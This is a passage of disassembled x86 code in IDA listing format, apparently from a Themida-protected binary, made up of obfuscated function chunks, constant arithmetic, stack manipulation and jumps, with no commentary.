push ebx
jmp loc_559E43
; ---------------------------------------------------------------------------
loc_557574: ; CODE XREF: sub_559C84+28F3j
mov esp, [esp+4Ch+var_4E+2]
mov [esp+4Ch+var_4E+2], ebx
sub esp, 4
mov [esp+50h+var_52+2], esp
jmp loc_559585
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55590A
loc_557588: ; CODE XREF: sub_55590A+12D1j
mov [esp+4+var_4], esi
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
mov esp, [esp+0]
jmp loc_55A9E5
; END OF FUNCTION CHUNK FOR sub_55590A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55759B: ; CODE XREF: sub_559C84+21EAj
mov edi, ecx
pop ecx
shl edi, 8
and edi, 3C120C49h
jmp loc_558E87
; ---------------------------------------------------------------------------
loc_5575AC: ; CODE XREF: sub_559C84+31E0j
mov eax, 731C2BA6h
add eax, 0B9FBDF57h
and ebx, eax
pop eax
add ebx, 0D2F7F5F3h
mov esi, ebx
mov ebx, [esp+48h+var_4A+2]
add esp, 4
and ebx, esi
mov esi, [esp+44h+var_46+2]
add esp, 4
or ebx, ebx
jnz loc_55BAC5
sub esp, 4
mov [esp+44h+var_46+2], edx
push esp
jmp loc_5564F1
; ---------------------------------------------------------------------------
loc_5575E6: ; CODE XREF: sub_559C84+31CCj
mov edi, 7159534Eh
jmp loc_55D89B
; ---------------------------------------------------------------------------
loc_5575F0: ; CODE XREF: sub_559C84-51E9j
sub [esp+52h+var_4E], edx
jmp loc_557FED
; ---------------------------------------------------------------------------
loc_5575F9: ; CODE XREF: sub_559C84+1413j
add esp, 4
xchg ebp, [esp+4Eh+var_4E]
jmp loc_554932
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_55E597
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559A2E
loc_557616: ; CODE XREF: sub_559A2E+6j
sub bh, ch
mov ecx, [esp+0]
push edi
push esp
pop edi
add edi, 4
jmp loc_5558F8
; END OF FUNCTION CHUNK FOR sub_559A2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E611
loc_557629: ; CODE XREF: sub_55E611+3j
mov [esp+0], edi
push edx
jmp loc_55E159
; END OF FUNCTION CHUNK FOR sub_55E611
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5591C7
loc_557632: ; CODE XREF: sub_5591C7-3DA6j
add eax, edi
jmp loc_55BD76
; END OF FUNCTION CHUNK FOR sub_5591C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557639: ; CODE XREF: sub_559C84-4531j
add esp, 4
xor edx, [esp+44h+var_46+2]
jmp loc_554B25
; ---------------------------------------------------------------------------
loc_557647: ; CODE XREF: sub_559C84-2A43j
push esi
push [esp+5Eh+var_5C+2]
pop esi
pop [esp+5Eh+var_60+2]
pop esp
jmp sub_55F569
; ---------------------------------------------------------------------------
loc_557656: ; CODE XREF: sub_559C84-45E7j
add bl, al
sub bl, 0DCh
push dx
jmp loc_555349
; ---------------------------------------------------------------------------
loc_557662: ; CODE XREF: sub_559C84-21F7j
add bl, dl
jmp loc_55595D
; ---------------------------------------------------------------------------
loc_557669: ; CODE XREF: sub_559C84+19B9j
pop eax
add dl, 0A5h
neg dl
add dl, 0ABh
add dl, bl
mov ebx, [esp+4Ah+var_4A]
add esp, 4
add al, dl
mov edx, [esp+46h+var_46]
add esp, 4
push ecx
push eax
mov ah, 22h
jmp loc_5573A4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55929E
loc_55768B: ; CODE XREF: sub_55929E-3AC9j
mov ebp, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
mov esp, [esp+0]
mov [esp+0], ax
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_55929E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5576A0: ; CODE XREF: sub_559C84+5AC9j
mov esp, [esp+4Ah+var_4A]
mov [esp+4Ah+var_4A], ebp
mov ebp, 95C63EEh
sub ebp, 1
push edx
mov edx, 714F15D3h
and edx, 1E25C7Bh
or edx, 6EEB746Bh
push edi
mov edi, 52052E35h
and edx, edi
pop edi
not edx
dec edx
xor edx, 0B4A2B8A0h
sub ebp, edx
pop edx
and ecx, ebp
mov ebp, [esp+4Ah+var_4A]
add esp, 4
shr ecx, 7
sub esp, 4
mov [esp+4Ah+var_4A], ecx
jmp sub_55E640
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5576EE proc near ; DATA XREF: Themida_:0055349Co
lodsd
jmp sub_55FA73
sub_5576EE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5576F4: ; CODE XREF: sub_559C84+387Ej
push [esp+4Ah+var_4A]
jmp loc_559E13
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5576FC: ; CODE XREF: Themida_:00556BAFj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55D1B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557711: ; CODE XREF: sub_559C84-516Cj
mov [esp+46h+var_46], esp
add [esp+46h+var_46], 4
pop ebx
jmp loc_559AE6
; ---------------------------------------------------------------------------
loc_55771E: ; CODE XREF: sub_559C84+210Dj
xor edx, [esp+42h+var_42]
pop esp
push eax
jmp loc_555AB1
; ---------------------------------------------------------------------------
loc_557728: ; CODE XREF: sub_559C84-6CFj
add eax, 4
xchg eax, [esp+42h+var_42]
pop esp
push esi
mov esi, esp
jmp loc_55A08D
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557739 proc near ; CODE XREF: sub_559C84-4309j
; FUNCTION CHUNK AT 005540DA SIZE 00000009 BYTES
push ebx
mov ebx, edx
mov [edi+24h], ebx
pop ebx
push dword ptr [esp+0]
pop edx
add esp, 4
xor edx, edx
push 7280h
mov [esp+0], ebx
push dword ptr [esp+0]
jmp loc_5540DA
sub_557739 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557759: ; CODE XREF: sub_559C84+1E6j
mov ecx, ebp
pop ebp
add ebp, 745301EEh
add ebp, 2C173075h
add ebp, ecx
sub ebp, 2C173075h
jmp loc_556BF0
; ---------------------------------------------------------------------------
loc_557775: ; CODE XREF: sub_559C84+4E7Aj
mov edi, 778161C5h
sub ebx, edi
pop edi
jmp loc_55A9C1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_557782: ; CODE XREF: sub_555BE3+9101j
add ecx, edi
sub ecx, 0DD96B86h
pop edi
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
push ebp
push ebx
mov ebx, 20E9753Ch
add ebx, 39C93D1Ah
xor ebx, 549823E4h
add ebx, 1191603Fh
shl ebx, 6
sub ebx, 0D85854DEh
mov ebp, ebx
pop ebx
inc ebp
xor ebp, 16A42767h
add edi, ebp
pop ebp
add edi, 2
xchg edi, [esp+0]
pop esp
movsx cx, al
push edi
jmp loc_55C55B
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55590A
loc_5577D4: ; CODE XREF: sub_55590A+1651j
push esi
mov esi, 1042146Fh
jmp loc_558F74
; END OF FUNCTION CHUNK FOR sub_55590A
; =============== S U B R O U T I N E =======================================
sub_5577DF proc near ; CODE XREF: sub_559C84+2F81j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F2A8 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 9C307587h
sub edi, edx
pop edx
push esi
jmp loc_55F2A8
sub_5577DF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5577F6: ; CODE XREF: sub_559C84-41B0j
not eax
add eax, 2EC3180h
push eax
jmp loc_553723
; ---------------------------------------------------------------------------
loc_557803: ; CODE XREF: sub_559C84+1735j
push eax
push ecx
mov cl, 47h
jmp loc_55E204
; ---------------------------------------------------------------------------
loc_55780C: ; CODE XREF: sub_559C84+51C9j
add ebx, edi
pop edi
push ecx
mov ecx, 44D64EA8h
xor ecx, 330E203Bh
and ecx, 54076F17h
add ecx, 1
push ebx
jmp loc_55B7E1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F9FD
loc_55782D: ; CODE XREF: sub_55F9FD-984Cj
add esp, 2
add bl, al
sub bl, 63h
jmp loc_55F535
; END OF FUNCTION CHUNK FOR sub_55F9FD
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557843: ; CODE XREF: sub_559C84+597Fj
add [esp+62h+var_64+2], 4
mov ebp, [esp+62h+var_64+2]
add esp, 4
jmp sub_55929E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_557852: ; CODE XREF: sub_558BA2+BEEj
mov edx, 5F932714h
jmp loc_55EAA8
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553EA
loc_55785C: ; CODE XREF: sub_5553EA+6j
sub ecx, 1A2378ACh
add ecx, ebx
add ecx, 1A2378ACh
pop ebx
xor ecx, [esp+0]
jmp loc_55E1E9
; END OF FUNCTION CHUNK FOR sub_5553EA
; ---------------------------------------------------------------------------
loc_557873: ; CODE XREF: Themida_:005581BEj
mov edx, edi
pop edi
xor edx, 4610897h
shr edx, 7
and edx, 4D7338Fh
or edx, 2F483FC7h
push eax
mov eax, 2DBA661Eh
xor edx, eax
jmp loc_55E16C
; ---------------------------------------------------------------------------
loc_557898: ; CODE XREF: Themida_:0055ED6Dj
add esi, 740910F5h
add esi, 4B5B7998h
xor esi, 4475F75Bh
sub ecx, esi
pop esi
add ecx, 4CD736AAh
pop ebp
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5578C9: ; CODE XREF: sub_559C84+B40j
mov esi, 49851363h
and esi, 0F377243h
push edx
jmp loc_559156
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_5578DA: ; CODE XREF: sub_558BA2+BCAj
pop edi
xchg eax, [esp+4+var_4]
pop esp
jmp loc_55978F
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
loc_5578E4: ; DATA XREF: Themida_:005534B8o
mov ax, [esp]
jmp loc_55CEF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5578ED: ; CODE XREF: sub_559C84-37CAj
push esi
push 0
jmp loc_55FAAB
; ---------------------------------------------------------------------------
loc_5578F8: ; CODE XREF: sub_559C84+4929j
add ebx, 186104E0h
pop ebp
and [edi+1Ch], ebx
push [esp+42h+var_42]
pop ebx
add esp, 4
jmp loc_553A25
; ---------------------------------------------------------------------------
loc_55790E: ; CODE XREF: sub_559C84-1548j
push [esp+3Eh+var_3E]
pop ebx
add esp, 4
add esp, 4
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557920 proc near ; CODE XREF: sub_559C84+1687j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00557283 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00558721 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055EEDC SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_557283
sub_557920 endp
; ---------------------------------------------------------------------------
loc_55792E: ; CODE XREF: Themida_:00553E3Aj
add ebx, 4
jmp loc_558EB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557939: ; CODE XREF: sub_559C84+865j
xor eax, ebx
pop ebx
add ebx, eax
pop eax
add ebx, 4B5D50D5h
sub ebx, eax
sub ebx, 4B5D50D5h
push esi
mov esi, 51044052h
sub ebx, esi
pop esi
push edi
push esi
mov esi, 5F04E4Ah
mov edi, 57D7BD5Ah
sub edi, esi
pop esi
add ebx, edi
pop edi
push ebx
mov ebx, esp
add ebx, 4
jmp loc_558E2A
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557976 proc near ; CODE XREF: sub_559C84+5B75j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0055433C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00555012 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005562CA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557346 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005590F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005593D5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055F903 SIZE 00000029 BYTES
push ebx
push eax
push ecx
mov cl, 70h
mov ah, cl
pop ecx
mov bl, ah
push [esp+8+var_8]
pop eax
add esp, 4
and bl, 84h
push edx
mov dh, 49h
shl dh, 2
jmp loc_55F903
sub_557976 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557995: ; CODE XREF: sub_559C84+8B3j
mov [esp+32h+var_34+2], ecx
push edx
jmp loc_55CFC1
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55799E proc near ; CODE XREF: sub_559C84-6566j
push ebp
mov ebp, 5BF2504Ch
add edx, ebp
pop ebp
xor edx, 65C1184Fh
jmp loc_55A649
sub_55799E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5579B2: ; CODE XREF: sub_559C84+3EDEj
mov ebp, [esp+0]
add esp, 4
dec edx
sub edx, 48D76FACh
add edx, 0C24592E7h
add ebp, edx
mov edx, [esp+32h+var_34+2]
add esp, 4
add ebp, 4
xor ebp, [esp+2Eh+var_30+2]
jmp loc_55F89F
; ---------------------------------------------------------------------------
loc_5579DE: ; CODE XREF: sub_559C84+33CAj
add esi, 4
add esi, 4
xor esi, [esp+2Eh+var_30+2]
xor [esp+2Eh+var_30+2], esi
xor esi, [esp+2Eh+var_30+2]
jmp loc_55CAAF
; ---------------------------------------------------------------------------
loc_5579F5: ; CODE XREF: sub_559C84-E8Dj
pop edi
sub ecx, edi
pop edi
neg ecx
shr ecx, 1
push ecx
not [esp+2Ah+var_2C+2]
jmp loc_558B70
; ---------------------------------------------------------------------------
loc_557A06: ; CODE XREF: sub_559C84-3B5Aj
add esp, 4
xchg edi, [esp+3Ch+var_3E+2]
pop esp
jmp loc_5545E4
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557A15 proc near ; CODE XREF: sub_559C84+4D7Fj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F40E SIZE 0000000C BYTES
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_55F40E
sub_557A15 endp
; ---------------------------------------------------------------------------
loc_557A23: ; CODE XREF: Themida_:00554234j
push edx
mov dx, si
mov bx, dx
jmp loc_556B2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DBF3
loc_557A2F: ; CODE XREF: sub_55DBF3+3j
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
jmp loc_55CA63
; END OF FUNCTION CHUNK FOR sub_55DBF3
; ---------------------------------------------------------------------------
loc_557A46: ; CODE XREF: Themida_:0055F8FEj
mov eax, 4
sub ecx, eax
pop eax
xchg ecx, [esp]
jmp loc_558025
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557A56: ; CODE XREF: sub_559C84+16F9j
pop esp
sub esp, 4
mov [esp+38h+var_3A+2], esi
mov esi, 2E2D2242h
neg esi
add esi, 2E2D2246h
jmp loc_5574DB
; ---------------------------------------------------------------------------
loc_557A6F: ; CODE XREF: sub_559C84-4B33j
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5592EE
; ---------------------------------------------------------------------------
loc_557A82: ; CODE XREF: sub_559C84+404j
mov [esp-0Eh+arg_8+2], eax
jmp sub_5586DD
; ---------------------------------------------------------------------------
loc_557A8A: ; CODE XREF: sub_559C84+46ABj
xor dl, 0F5h
jmp loc_557662
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_557A92: ; CODE XREF: Themida_:00553B3Cj
xor ecx, 3B2CA78Bh
mov edi, ecx
pop ecx
jmp loc_5583A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557AA0: ; CODE XREF: sub_559C84+5E22j
mov ecx, 4
add [esp-0Eh+arg_C+2], ecx
pop ecx
pop esi
sub esp, 4
mov [esp-12h+arg_C+2], eax
push 24h
push [esp-0Eh+arg_8+2]
mov eax, [esp-0Ah+arg_4+2]
push eax
mov eax, esp
push ecx
mov ecx, 16BB7FA6h
add ecx, 479C63E9h
inc ecx
jmp loc_55C825
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557AD1 proc near ; CODE XREF: sub_559C84+4AAj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
push esi
mov esi, 53CB62DBh
or esi, 26F4672Dh
add esi, 88009805h
mov ebx, esi
jmp loc_55D471
sub_557AD1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557AF0: ; CODE XREF: sub_559C84-285Ej
add esp, 4
mov ebp, esi
pop esi
push 3DFCh
jmp loc_5572A8
; ---------------------------------------------------------------------------
loc_557B03: ; CODE XREF: sub_559C84-14B4j
xchg eax, [esp+70h+var_70]
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_557B0C: ; CODE XREF: sub_559C84-30E0j
mov ebp, 4FDA0656h
shr ebp, 4
jmp loc_55E9B3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
db 4, 31h, 4
dd 0E9242C25h, 0FFFFCECEh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557B24: ; CODE XREF: sub_559C84-4F1Fj
pop edi
jmp loc_55D7BE
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E342
loc_557B2A: ; CODE XREF: sub_55E342+3j
add ebp, 4
jmp loc_55D912
; END OF FUNCTION CHUNK FOR sub_55E342
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557B35: ; CODE XREF: sub_559C84-DE9j
sub ecx, 551A4F5Eh
sub ecx, 14EB4E92h
pop edi
and eax, ecx
mov ecx, [esp+0]
jmp loc_556E46
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557B4C proc near ; CODE XREF: sub_559C84+1F1Bj
arg_0 = dword ptr 4
push ebx
mov ebx, 0FA1420h
sub [esp+4+arg_0], ebx
jmp loc_55C83F
sub_557B4C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557B5B: ; CODE XREF: sub_559C84-1C4Dj
add edx, 4
sub edx, 4
jmp loc_55F303
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
sub ebx, edi
pop edi
jmp loc_55F435
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557B85: ; CODE XREF: sub_559C84+10C5j
dec edi
neg edi
or edi, 5CD444ECh
sub edi, 0DDDFD5EAh
jmp loc_55EAB3
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557B99 proc near ; CODE XREF: sub_559C84+5845j
; FUNCTION CHUNK AT 00554138 SIZE 0000000D BYTES
push ebp
mov ebp, 40410EE7h
sub ebp, 40410EE3h
add edi, ebp
jmp loc_554138
sub_557B99 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557BAC: ; CODE XREF: sub_559C84+3406j
push dx
mov dl, 67h
add ah, dl
pop dx
sub bl, 9Ah
add bl, ah
add bl, 9Ah
pop eax
sub bl, 0C4h
sub bl, al
add bl, 0C4h
push eax
mov al, 10h
jmp loc_55DA5A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_557BCD: ; CODE XREF: Themida_:0055EBCEj
mov [esp], ebx
push edx
mov dh, 0D2h
mov bh, 0E4h
add bh, 0A2h
add bh, dh
sub bh, 0A2h
pop edx
jmp loc_55C063
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557BE3: ; CODE XREF: sub_559C84-3FFDj
pop eax
push dx
mov dh, 2Eh
sub al, dh
jmp loc_55A243
; ---------------------------------------------------------------------------
loc_557BEF: ; CODE XREF: sub_559C84+3E7Dj
push edx
push ebp
mov ebp, 7D57042Ah
mov edx, 0AD4580DFh
sub edx, ebp
jmp loc_55C67D
; ---------------------------------------------------------------------------
loc_557C02: ; CODE XREF: sub_559C84-F47j
xor eax, ebx
push 6F02h
mov [esp+32h+var_34+2], ecx
sub esp, 4
mov [esp+0], ebp
push edi
mov edi, 5E8E17E1h
jmp loc_55CB09
; ---------------------------------------------------------------------------
loc_557C20: ; CODE XREF: sub_559C84+4ED2j
sub ebp, 2
xchg ebp, [esp+3Ah+var_3A]
pop esp
mov [esp+0], cx
push eax
mov ah, 22h
jmp sub_558D95
; ---------------------------------------------------------------------------
loc_557C36: ; CODE XREF: sub_559C84+5E18j
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+3Ah+var_3A]
pop esp
push eax
jmp loc_5598E5
; ---------------------------------------------------------------------------
loc_557C4D: ; CODE XREF: sub_559C84+166j
push edx
jmp loc_555D2D
; ---------------------------------------------------------------------------
loc_557C53: ; CODE XREF: sub_559C84+2883j
add edx, 4
jmp loc_55AD92
; ---------------------------------------------------------------------------
loc_557C5E: ; CODE XREF: sub_559C84+3D3Cj
push edx
sub esp, 4
jmp loc_558CE5
; ---------------------------------------------------------------------------
loc_557C6A: ; CODE XREF: sub_559C84+1789j
pop esp
mov [esp+42h+var_42], esi
mov esi, 0B6C72CEh
shr esi, 1
sub esi, 4CED132h
mov ebx, 0E76835h
xor ebx, esi
mov esi, [esp+42h+var_42]
push edx
jmp loc_555E28
; ---------------------------------------------------------------------------
loc_557C8B: ; CODE XREF: sub_559C84-2978j
mov eax, 22C3D1Bh
mov esi, eax
pop eax
xor [edi+40h], esi
push [esp+30h+var_30]
mov esi, [esp+34h+var_34]
add esp, 4
jmp sub_55ED81
; ---------------------------------------------------------------------------
loc_557CA7: ; CODE XREF: sub_559C84-E3j
not ebx
shl ebx, 7
jmp loc_557D6B
; ---------------------------------------------------------------------------
loc_557CB1: ; CODE XREF: sub_559C84-49AEj
inc esi
push edi
mov edi, 57E17DDCh
shr edi, 4
jmp loc_55D3BB
; ---------------------------------------------------------------------------
loc_557CC0: ; CODE XREF: sub_559C84-37E8j
mov ebx, ebp
pop ebp
add ecx, ebx
push [esp+46h+var_46]
pop ebx
add esp, 4
xchg ecx, [esp+42h+var_42]
pop esp
add esp, 4
shr ecx, 2
push ecx
jmp loc_559D1D
; ---------------------------------------------------------------------------
loc_557CDC: ; CODE XREF: sub_559C84-4940j
add edx, 7E40D94h
shl edx, 8
or edx, 65371ADAh
jmp loc_5599DF
; ---------------------------------------------------------------------------
loc_557CF0: ; CODE XREF: sub_559C84-5B24j
add al, 87h
pop dx
push ebx
mov bh, 90h
add al, bh
pop ebx
push edx
mov dl, 0ACh
sub esp, 2
mov word ptr [esp+0Ah+var_C+2], dx
not byte ptr [esp+0Ah+var_C+2]
pop dx
xor dl, 4Ah
push cx
jmp sub_557F5F
; ---------------------------------------------------------------------------
loc_557D13: ; CODE XREF: sub_559C84-322Aj
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_557D18: ; CODE XREF: sub_559C84-3211j
add esi, 4
add esi, 4
xor esi, [esp+44h+var_46+2]
xor [esp+44h+var_46+2], esi
xor esi, [esp+44h+var_46+2]
pop esp
jmp loc_55BC7A
; ---------------------------------------------------------------------------
loc_557D33: ; CODE XREF: sub_559C84-4745j
pop small word ptr [eax]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_557D3B: ; CODE XREF: sub_559C84-3460j
xchg ebp, [esp+44h+var_46+2]
mov esp, [esp+44h+var_46+2]
movzx eax, al
push dword ptr [edi+eax*4]
push 5136h
mov [esp+4Ch+var_4E+2], ebx
push eax
mov eax, 490E286Ah
inc eax
push ebp
mov ebp, 7BAF751Eh
neg ebp
xor ebp, 0A2CAF6D5h
or eax, ebp
jmp loc_5595F8
; ---------------------------------------------------------------------------
loc_557D6B: ; CODE XREF: sub_559C84-1FD8j
inc ebx
xor ebx, 0B441E46Ch
mov ecx, ebx
jmp loc_553B51
; ---------------------------------------------------------------------------
loc_557D79: ; CODE XREF: sub_559C84+3E14j
add edx, 5CDF1629h
pop esi
jmp loc_555475
; ---------------------------------------------------------------------------
loc_557D85: ; CODE XREF: sub_559C84+57D9j
xor eax, edx
jmp loc_558C48
; ---------------------------------------------------------------------------
loc_557D8C: ; CODE XREF: sub_559C84+AA3j
sub ebx, edi
jmp loc_55AECC
; ---------------------------------------------------------------------------
loc_557D93: ; CODE XREF: sub_559C84+5CF9j
inc edx
push edi
mov edi, 5EED3B16h
not edi
or edi, 5B8D58C4h
shl edi, 5
add edi, 66070EA0h
jmp loc_55F9C3
; ---------------------------------------------------------------------------
loc_557DB0: ; CODE XREF: sub_559C84-5D50j
sub esi, 0CA519C6h
sub esi, ebx
add esi, 0CA519C6h
pop ebx
add esi, ebp
add esi, 63A50E54h
push dword ptr [esp+0]
pop ebp
add esp, 4
add esi, 2
xchg esi, [esp-6+arg_0+2]
mov esp, [esp-6+arg_0+2]
push ebx
mov bh, dl
push 303Bh
jmp loc_5594F0
; ---------------------------------------------------------------------------
loc_557DE7: ; CODE XREF: sub_559C84+2B47j
pop esi
jmp loc_55F799
; ---------------------------------------------------------------------------
loc_557DED: ; CODE XREF: sub_559C84+4673j
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp-6+arg_0+2], eax
mov eax, ebx
push ebx
mov ebx, eax
mov esi, ebx
pop ebx
mov eax, [esp-6+arg_0+2]
add esp, 4
jmp sub_557380
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5571E4
loc_557E0D: ; CODE XREF: sub_5571E4+183Bj
mov si, 3FC9h
add si, 0FFEEh
sub di, 3699h
jmp loc_55B860
; END OF FUNCTION CHUNK FOR sub_5571E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557E20: ; CODE XREF: sub_559C84+3ABFj
shr esi, 8
inc esi
push eax
mov eax, 576596A8h
add esi, eax
jmp loc_554251
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553CB
loc_557E31: ; CODE XREF: sub_5553CB+Bj
mov esi, edi
mov edi, [esp+4+var_4]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
jmp loc_55A24E
; END OF FUNCTION CHUNK FOR sub_5553CB
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
push 6DABh
mov [esp], eax
jmp loc_5566C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557E5D: ; CODE XREF: sub_559C84+12F9j
mov [esp-6+arg_0+2], edx
mov edx, esi
mov ebx, edx
pop edx
jmp loc_55DA3D
; ---------------------------------------------------------------------------
loc_557E6A: ; CODE XREF: sub_559C84+5920j
inc edi
sub edi, 9D9508BCh
mov edx, edi
jmp loc_553FC5
; ---------------------------------------------------------------------------
loc_557E78: ; CODE XREF: sub_559C84+2ACDj
add esi, 56BA21BBh
add esi, edi
sub esi, 56BA21BBh
pop edi
sub esi, 2
xchg esi, [esp-0Eh+arg_8+2]
mov esp, [esp-0Eh+arg_8+2]
mov word ptr [esp-0Eh+arg_8+2], ax
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_557E9C: ; CODE XREF: Themida_:0055E131j
push eax
mov eax, 6839600Ah
mov esi, eax
pop eax
jmp loc_55E459
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557EAA: ; CODE XREF: sub_559C84-F86j
pop eax
or ebx, edx
pop edx
shl ebx, 8
push edi
push eax
push ecx
push 257612F5h
pop ecx
jmp loc_55EF01
; ---------------------------------------------------------------------------
